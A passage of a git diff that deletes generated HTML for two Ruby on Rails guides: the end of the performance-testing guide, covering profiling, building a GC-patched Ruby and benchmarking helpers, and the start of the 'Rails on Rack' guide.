-<span style="color: #993399">0.00603075000000008</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">03</span><span style="color: #990000">:</span>29Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00619899999999995</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">03</span><span style="color: #990000">:</span>53Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00755449999999991</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">04</span><span style="color: #990000">:</span>55Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00595999999999997</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-08T04<span style="color: #990000">:</span><span style="color: #993399">05</span><span style="color: #990000">:</span>06Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">0744148</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00740450000000004</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-09T03<span style="color: #990000">:</span><span style="color: #993399">54</span><span style="color: #990000">:</span>47Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">859e150</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00603150000000008</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-09T03<span style="color: #990000">:</span><span style="color: #993399">54</span><span style="color: #990000">:</span>57Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">859e150</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.111</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.1</span><span style="color: #990000">.</span><span style="color: #993399">0</span>
-<span style="color: #993399">0.00771250000000012</span><span style="color: #990000">,</span><span style="color: #993399">2009</span>-<span style="color: #993399">01</span>-09T15<span style="color: #990000">:</span><span style="color: #993399">46</span><span style="color: #990000">:</span>03Z<span style="color: #990000">,,</span><span style="color: #993399">2.3</span><span style="color: #990000">.</span><span style="color: #993399">0</span><span style="color: #990000">.</span>master<span style="color: #990000">.</span><span style="color: #993399">859e150</span><span style="color: #990000">,</span>ruby-<span style="color: #993399">1.8</span><span style="color: #990000">.</span><span style="color: #993399">6.110</span><span style="color: #990000">,</span>i686-darwin<span style="color: #993399">9.0</span><span style="color: #990000">.</span><span style="color: #993399">0</span></tt></pre></div></div>
-<h4 id="_profiling_2">1.5.2. Profiling</h4>
-<div class="paragraph"><p>In profiling mode, you can choose from four types of output.</p></div>
-<h5 id="_command_line_2">Command line</h5>
-<div class="paragraph"><p>This is a very basic form of output in profiling mode:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>BrowsingTest<span style="font-style: italic"><span style="color: #9A1900">#test_homepage (58 ms warmup)</span></span>
- process_time<span style="color: #990000">:</span> <span style="color: #993399">63</span> ms
- memory<span style="color: #990000">:</span> <span style="color: #993399">832.13</span> KB
- objects<span style="color: #990000">:</span> <span style="color: #993399">7882</span></tt></pre></div></div>
-<h5 id="_flat">Flat</h5>
-<div class="paragraph"><p>Flat output shows the total amount of time spent in each method. <a href="http://ruby-prof.rubyforge.org/files/examples/flat_txt.html">Check ruby prof documentation for a better explanation</a>.</p></div>
-<h5 id="_graph">Graph</h5>
-<div class="paragraph"><p>Graph output shows how long each method takes to run, which methods call it and which methods it calls. <a href="http://ruby-prof.rubyforge.org/files/examples/graph_txt.html">Check ruby prof documentation for a better explanation</a>.</p></div>
-<h5 id="_tree">Tree</h5>
-<div class="paragraph"><p>Tree output is profiling information in calltree format for use by <a href="http://kcachegrind.sourceforge.net/html/Home.html">kcachegrind</a> and similar tools.</p></div>
-<h3 id="_tuning_test_runs">1.6. Tuning Test Runs</h3>
-<div class="paragraph"><p>By default, each performance test is run <tt>4 times</tt> in benchmarking mode and <tt>1 time</tt> in profiling. However, test runs can easily be configured.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/caution.png" alt="Caution" />
-</td>
-<td class="content">Performance test configurability is not yet enabled in Rails. But it will be soon.</td>
-</tr></table>
-</div>
-<h3 id="_performance_test_environment">1.7. Performance Test Environment</h3>
-<div class="paragraph"><p>Performance tests are run in the <tt>development</tt> environment. But running performance tests will set the following configuration parameters:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>ActionController<span style="color: #990000">::</span>Base<span style="color: #990000">.</span>perform_caching <span style="color: #990000">=</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-ActiveSupport<span style="color: #990000">::</span>Dependencies<span style="color: #990000">.</span>mechanism <span style="color: #990000">=</span> <span style="color: #990000">:</span>require
-Rails<span style="color: #990000">.</span>logger<span style="color: #990000">.</span>level <span style="color: #990000">=</span> ActiveSupport<span style="color: #990000">::</span>BufferedLogger<span style="color: #990000">::</span>INFO</tt></pre></div></div>
-<div class="paragraph"><p>As <tt>ActionController::Base.perform_caching</tt> is set to <tt>true</tt>, performance tests will behave much as they do in the <tt>production</tt> environment.</p></div>
-<h3 id="gc">1.8. Installing GC-Patched Ruby</h3>
-<div class="paragraph"><p>To get the best from Rails performance tests, you need to build a special Ruby binary with some super powers - <a href="http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch">GC patch</a> for measuring GC Runs/Time and memory/object allocation.</p></div>
-<div class="paragraph"><p>The process is fairly straight forward. If you&#8217;ve never compiled a Ruby binary before, follow these steps to build a ruby binary inside your home directory:</p></div>
-<h4 id="_installation">1.8.1. Installation</h4>
-<div class="paragraph"><p>Compile Ruby and apply this <a href="http://rubyforge.org/tracker/download.php/1814/7062/17676/3291/ruby186gc.patch">GC Patch</a>:</p></div>
-<h4 id="_download_and_extract">1.8.2. Download and Extract</h4>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ mkdir rubygc
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ wget <span style="color: #990000">&lt;</span>download the latest stable ruby from ftp<span style="color: #990000">:</span>//ftp<span style="color: #990000">.</span>ruby-lang<span style="color: #990000">.</span>org/pub/ruby<span style="color: #990000">&gt;</span>
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ tar -xzvf <span style="color: #990000">&lt;</span>ruby-version<span style="color: #990000">.</span>tar<span style="color: #990000">.</span>gz<span style="color: #990000">&gt;</span>
-<span style="color: #990000">[</span>lifo@null <span style="color: #990000">~]</span>$ cd <span style="color: #990000">&lt;</span>ruby-version<span style="color: #990000">&gt;</span></tt></pre></div></div>
-<h4 id="_apply_the_patch">1.8.3. Apply the patch</h4>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null ruby-version<span style="color: #990000">]</span>$ curl http<span style="color: #990000">:</span>//rubyforge<span style="color: #990000">.</span>org/tracker/download<span style="color: #990000">.</span>php<span style="color: #990000">/</span><span style="color: #993399">1814</span><span style="color: #990000">/</span><span style="color: #993399">7062</span><span style="color: #990000">/</span><span style="color: #993399">17676</span><span style="color: #990000">/</span><span style="color: #993399">3291</span>/ruby186gc<span style="color: #990000">.</span>patch <span style="color: #990000">|</span> patch -p<span style="color: #993399">0</span></tt></pre></div></div>
-<h4 id="_configure_and_install">1.8.4. Configure and Install</h4>
-<div class="paragraph"><p>The following will install ruby in your home directory&#8217;s <tt>/rubygc</tt> directory. Make sure to replace <tt>&lt;homedir&gt;</tt> with a full patch to your actual home directory.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null ruby-version<span style="color: #990000">]</span>$ <span style="color: #990000">.</span>/configure --prefix<span style="color: #990000">=/&lt;</span>homedir<span style="color: #990000">&gt;</span>/rubygc
-<span style="color: #990000">[</span>lifo@null ruby-version<span style="color: #990000">]</span>$ make <span style="color: #990000">&amp;&amp;</span> make install</tt></pre></div></div>
-<h4 id="_prepare_aliases">1.8.5. Prepare aliases</h4>
-<div class="paragraph"><p>For convenience, add the following lines in your <tt>~/.profile</tt>:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>alias gcruby='~/rubygc/bin/ruby'
-alias gcrake='~/rubygc/bin/rake'
-alias gcgem='~/rubygc/bin/gem'
-alias gcirb='~/rubygc/bin/irb'
-alias gcrails='~/rubygc/bin/rails'</tt></pre>
-</div></div>
-<h4 id="_install_rubygems_and_dependency_gems">1.8.6. Install rubygems and dependency gems</h4>
-<div class="paragraph"><p>Download <a href="http://rubyforge.org/projects/rubygems">Rubygems</a> and install it from source. Rubygem&#8217;s README file should have necessary installation instructions.</p></div>
-<div class="paragraph"><p>Additionally, install the following gems :</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>rake</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rails</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>ruby-prof</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rack</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>mysql</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>If installing <tt>mysql</tt> fails, you can try to install it manually:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #990000">[</span>lifo@null mysql<span style="color: #990000">]</span>$ gcruby extconf<span style="color: #990000">.</span>rb --with-mysql-config
-<span style="color: #990000">[</span>lifo@null mysql<span style="color: #990000">]</span>$ make <span style="color: #990000">&amp;&amp;</span> make install</tt></pre></div></div>
-<div class="paragraph"><p>And you&#8217;re ready to go. Don&#8217;t forget to use <tt>gcruby</tt> and <tt>gcrake</tt> aliases when running the performance tests.</p></div>
-</div>
-<h2 id="_command_line_tools">2. Command Line Tools</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Writing performance test cases could be an overkill when you are looking for one time tests. Rails ships with two command line tools that enable quick and dirty performance testing:</p></div>
-<h3 id="_benchmarker">2.1. benchmarker</h3>
-<div class="paragraph"><p><tt>benchmarker</tt> is a wrapper around Ruby&#8217;s <a href="http://ruby-doc.org/core/classes/Benchmark.html">Benchmark</a> module.</p></div>
-<div class="paragraph"><p>Usage:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/performance/benchmarker <span style="color: #990000">[</span><span style="font-weight: bold"><span style="color: #0000FF">times</span></span><span style="color: #990000">]</span> <span style="color: #FF0000">'Person.expensive_way'</span> <span style="color: #FF0000">'Person.another_expensive_way'</span> <span style="color: #990000">...</span></tt></pre></div></div>
-<div class="paragraph"><p>Examples:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/performance/benchmarker <span style="color: #993399">10</span> <span style="color: #FF0000">'Item.all'</span> <span style="color: #FF0000">'CouchItem.all'</span></tt></pre></div></div>
-<div class="paragraph"><p>If the <tt>[times]</tt> argument is omitted, supplied methods are run just once:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/performance/benchmarker <span style="color: #FF0000">'Item.first'</span> <span style="color: #FF0000">'Item.last'</span></tt></pre></div></div>
-<h3 id="_profiler">2.2. profiler</h3>
-<div class="paragraph"><p><tt>profiler</tt> is a wrapper around <a href="http://ruby-prof.rubyforge.org/">ruby-prof</a> gem.</p></div>
-<div class="paragraph"><p>Usage:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Person.expensive_method(10)'</span> <span style="color: #990000">[</span><span style="font-weight: bold"><span style="color: #0000FF">times</span></span><span style="color: #990000">]</span> <span style="color: #990000">[</span>flat<span style="color: #990000">|</span>graph<span style="color: #990000">|</span>graph_html<span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>Examples:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Item.all'</span></tt></pre></div></div>
-<div class="paragraph"><p>This will profile <tt>Item.all</tt> in <tt>RubyProf::WALL_TIME</tt> measure mode. By default, it prints flat output to the shell.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Item.all'</span> <span style="color: #993399">10</span> graph</tt></pre></div></div>
-<div class="paragraph"><p>This will profile <tt>10.times { Item.all }</tt> with <tt>RubyProf::WALL_TIME</tt> measure mode and print graph output to the shell.</p></div>
-<div class="paragraph"><p>If you want to store the output in a file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ script/performance/profiler <span style="color: #FF0000">'Item.all'</span> <span style="color: #993399">10</span> graph <span style="color: #993399">2</span><span style="color: #990000">&gt;</span> graph<span style="color: #990000">.</span>txt</tt></pre></div></div>
-</div>
-<h2 id="_helper_methods">3. Helper methods</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails provides various helper methods inside Active Record, Action Controller and Action View to measure the time taken by a given piece of code. The method is called <tt>benchmark()</tt> in all the three components.</p></div>
-<h3 id="_model">3.1. Model</h3>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Project<span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Creating project"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- project <span style="color: #990000">=</span> Project<span style="color: #990000">.</span>create<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"stuff"</span><span style="color: #990000">)</span>
- project<span style="color: #990000">.</span>create_manager<span style="color: #990000">(</span><span style="color: #FF0000">"name"</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"David"</span><span style="color: #990000">)</span>
- project<span style="color: #990000">.</span>milestones <span style="color: #990000">&lt;&lt;</span> Milestone<span style="color: #990000">.</span>find<span style="color: #990000">(:</span>all<span style="color: #990000">)</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This benchmarks the code enclosed in the <tt>Project.benchmark("Creating project") do..end</tt> block and prints the result to the log file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Creating project <span style="color: #990000">(</span><span style="color: #993399">185</span><span style="color: #990000">.</span>3ms<span style="color: #990000">)</span></tt></pre></div></div>
-<div class="paragraph"><p>Please refer to the <a href="http://api.rubyonrails.com/classes/ActiveRecord/Base.html#M001336">API docs</a> for additional options to <tt>benchmark()</tt></p></div>
-<h3 id="_controller">3.2. Controller</h3>
-<div class="paragraph"><p>Similarly, you could use this helper method inside <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">controllers</a></p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content"><tt>benchmark</tt> is a class method inside controllers</td>
-</tr></table>
-</div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> process_projects
- <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span><span style="font-weight: bold"><span style="color: #0000FF">class</span></span><span style="color: #990000">.</span>benchmark<span style="color: #990000">(</span><span style="color: #FF0000">"Processing projects"</span><span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span>
- Project<span style="color: #990000">.</span>process<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>project_ids<span style="color: #990000">])</span>
- Project<span style="color: #990000">.</span>update_cached_projects
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<h3 id="_view">3.3. View</h3>
-<div class="paragraph"><p>And in <a href="http://api.rubyonrails.com/classes/ActionController/Benchmarking/ClassMethods.html#M000715">views</a>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% benchmark("Showing projects partial") do %&gt;</span>
- <span style="color: #FF0000">&lt;%= render :partial =&gt;</span> <span style="color: #009900">@projects</span> <span style="color: #990000">%&gt;</span>
-<span style="color: #FF0000">&lt;% end %&gt;</span></tt></pre></div></div>
-</div>
-<h2 id="_request_logging">4. Request Logging</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails log files contain very useful information about the time taken to serve each request. Here&#8217;s a typical log file entry:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Processing ItemsController<span style="font-style: italic"><span style="color: #9A1900">#index (for 127.0.0.1 at 2009-01-08 03:06:39) [GET]</span></span>
-Rendering template within layouts<span style="color: #990000">/</span>items
-Rendering items<span style="color: #990000">/</span>index
-Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//0.0.0.0/</span>items<span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>For this section, we&#8217;re only interested in the last line:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>Completed <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> 5ms <span style="color: #990000">(</span>View<span style="color: #990000">:</span> <span style="color: #993399">2</span><span style="color: #990000">,</span> DB<span style="color: #990000">:</span> <span style="color: #993399">0</span><span style="color: #990000">)</span> <span style="color: #990000">|</span> <span style="color: #993399">200</span> OK <span style="color: #990000">[</span>http<span style="color: #990000">:</span><span style="color: #FF6600">//0.0.0.0/</span>items<span style="color: #990000">]</span></tt></pre></div></div>
-<div class="paragraph"><p>This data is fairly straightforward to understand. Rails uses millisecond(ms) as the metric to measures the time taken. The complete request spent 5 ms inside Rails, out of which 2 ms were spent rendering views and none was spent communication with the database. It&#8217;s safe to assume that the remaining 3 ms were spent inside the controller.</p></div>
-<div class="paragraph"><p>Michael Koziarski has an <a href="http://www.therailsway.com/2009/1/6/requests-per-second">interesting blog post</a> explaining the importance of using milliseconds as the metric.</p></div>
-</div>
-<h2 id="_useful_links">5. Useful Links</h2>
-<div class="sectionbody">
-<h3 id="_rails_plugins_and_gems">5.1. Rails Plugins and Gems</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://rails-analyzer.rubyforge.org/">Rails Analyzer</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.flyingmachinestudios.com/projects/">Palmist</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/josevalim/rails-footnotes/tree/master">Rails Footnotes</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://github.com/dsboulder/query_reviewer/tree/master">Query Reviewer</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_generic_tools">5.2. Generic Tools</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://www.hpl.hp.com/research/linux/httperf">httperf</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://httpd.apache.org/docs/2.2/programs/ab.html">ab</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://jakarta.apache.org/jmeter">JMeter</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://kcachegrind.sourceforge.net/html/Home.html">kcachegrind</a>
-</p>
-</li>
-</ul></div>
-<h3 id="_tutorials_and_documentation">5.3. Tutorials and Documentation</h3>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://ruby-prof.rubyforge.org">ruby-prof API Documentation</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://railscasts.com/episodes/98-request-profiling">Request Profiling Railscast</a> - Outdated, but useful for understanding call graphs
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_commercial_products">6. Commercial Products</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Rails has been lucky to have three startups dedicated to Rails specific performance tools:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://www.newrelic.com">New Relic</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://www.fiveruns.com">Fiveruns</a>
-</p>
-</li>
-<li>
-<p>
-<a href="http://scoutapp.com">Scout</a>
-</p>
-</li>
-</ul></div>
-</div>
-<h2 id="_changelog">7. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/4">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-January 9, 2009: Complete rewrite by <a href="../authors.html#lifo">Pratik</a>
-</p>
-</li>
-<li>
-<p>
-September 6, 2008: Initial version by Matthew Bergman
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/rails_on_rack.html b/railties/doc/guides/html/rails_on_rack.html
deleted file mode 100644
index eb1ff6ef1b..0000000000
--- a/railties/doc/guides/html/rails_on_rack.html
+++ /dev/null
@@ -1,450 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Rails on Rack</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_introduction_to_rack">Introduction to Rack</a>
- </li>
- <li>
- <a href="#_rails_on_rack">Rails on Rack</a>
- <ul>
-
- <li><a href="#_actioncontroller_dispatcher_new">ActionController::Dispatcher.new</a></li>
-
- <li><a href="#_script_server">script/server</a></li>
-
- <li><a href="#_rackup">rackup</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_action_controller_middleware_stack">Action Controller Middleware Stack</a>
- <ul>
-
- <li><a href="#_inspecting_middleware_stack">Inspecting Middleware Stack</a></li>
-
- <li><a href="#_adding_middlewares">Adding Middlewares</a></li>
-
- <li><a href="#_internal_middleware_stack">Internal Middleware Stack</a></li>
-
- <li><a href="#_customizing_internal_middleware_stack">Customizing Internal Middleware Stack</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_rails_metal_applications">Rails Metal Applications</a>
- <ul>
-
- <li><a href="#_generating_a_metal_application">Generating a Metal Application</a></li>
-
- <li><a href="#_execution_order">Execution Order</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_middlewares_and_rails">Middlewares and Rails</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Rails on Rack</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>This guide covers Rails integration with Rack and interfacing with other Rack components. By referring to this guide, you will be able to:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Create Rails Metal applications
-</p>
-</li>
-<li>
-<p>
-Use Rack Middlewares in your Rails applications
-</p>
-</li>
-<li>
-<p>
-Understand Action Pack&#8217;s internal Middleware stack
-</p>
-</li>
-<li>
-<p>
-Define custom internal Middleware stack
-</p>
-</li>
-<li>
-<p>
-Understand the best practices for developing a middleware aimed at Rails applications
-</p>
-</li>
-</ul></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">This guide assumes a working knowledge of Rack protocol and Rack concepts such as middlewares, url maps and Rack::Builder.</td>
-</tr></table>
-</div>
-</div>
-</div>
-<h2 id="_introduction_to_rack">1. Introduction to Rack</h2>
-<div class="sectionbody">
-<div class="sidebarblock">
-<div class="sidebar-content">
-<div class="paragraph"><p>Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<a href="http://rack.rubyforge.org/doc">Rack API Documentation</a>
-</p>
-</li>
-</ul></div>
-</div></div>
